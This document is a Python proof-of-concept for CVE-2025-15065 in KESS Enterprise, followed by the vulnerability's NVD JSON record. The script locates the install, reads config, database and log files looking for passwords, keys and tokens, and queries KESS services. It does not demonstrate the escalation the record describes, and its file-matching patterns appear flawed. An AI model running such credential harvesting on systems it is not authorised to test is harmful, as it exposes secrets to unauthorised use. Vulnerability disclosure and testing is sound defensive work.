CVE-2025-15065

# CVE-2025-15065 PoC - KESS Enterprise Sensitive Information Exposure # This PoC demonstrates the information disclosure vulnerability import os import sys import subprocess import re def check_kess_installation(): """Check if KESS Enterprise is installed""" possible_paths = [ r"C:\Program Files\KESS Enterprise", r"C:\Program Files (x86)\KESS Enterprise", r"C:\KESS Enterprise" ] for path in possible_paths: if os.path.exists(path): print(f"[+] Found KESS Enterprise at: {path}") return path return None def enumerate_sensitive_files(kess_path): """Enumerate potentially sensitive files""" sensitive_patterns = [ r"\config\\.*\.xml", r"\config\\.*\.ini", r"\data\\.*\.db", r"\logs\\.*\.log", r"\*.conf", r"\*.cfg" ] print("\n[*] Enumerating sensitive files...") for root, dirs, files in os.walk(kess_path): for file in files: if any(re.search(pattern.replace("\\", "\\\\"), file, re.I) for pattern in sensitive_patterns): filepath = os.path.join(root, file) print(f"[+] Found sensitive file: {filepath}") try: with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() # Check for sensitive patterns if any(keyword in content.lower() for keyword in ['password', 'key', 'secret', 'token', 'credential']): print(f"[!] WARNING: File contains potential credentials!") except: pass def check_service_permissions(): """Check KESS service permissions""" print("\n[*] Checking KESS service permissions...") try: result = subprocess.run(['sc', 'query', 'state=', 'all'], capture_output=True, text=True) services = re.findall(r'SERVICE_NAME: (.+)', result.stdout) kess_services = [s for s in services if 'kess' in s.lower()] for service in kess_services: print(f"[+] Found KESS service: {service}") # Check service configuration access subprocess.run(['sc', 'qc', service], capture_output=True) except Exception as e: print(f"[-] Error checking services: {e}") def main(): print("=" * 60) print("CVE-2025-15065 PoC - KESS Enterprise Information Disclosure") print("=" * 60) kess_path = check_kess_installation() if not kess_path: print("[-] KESS Enterprise not found") return enumerate_sensitive_files(kess_path) check_service_permissions() print("\n[*] PoC execution completed") print("[*] Recommendation: Upgrade to version 25.9.19 or later") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-15065", "sourceIdentifier": "09832df1-09c1-45b4-8a85-16c601d30feb", "published": "2025-12-29T01:15:52.680", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive Information to an Unauthorized Actor, Missing Encryption of Sensitive Data, Files or Directories Accessible to External Parties vulnerability in Kings Information & Network Co. KESS Enterprise on Windows allows Privilege Escalation, Modify Existing Service, Modify Shared File.This issue affects KESS Enterprise: before *.25.9.19.exe"}], "metrics": {"cvssMetricV40": [{"source": "09832df1-09c1-45b4-8a85-16c601d30feb", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "09832df1-09c1-45b4-8a85-16c601d30feb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 5.2}]}, "weaknesses": [{"source": "09832df1-09c1-45b4-8a85-16c601d30feb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-311"}, {"lang": "en", "value": "CWE-552"}]}], "references": [{"url": "https://www.kings.co.kr/solution/01/KESS.jsp?O=10.64&B=Chrome", "source": "09832df1-09c1-45b4-8a85-16c601d30feb"}]}}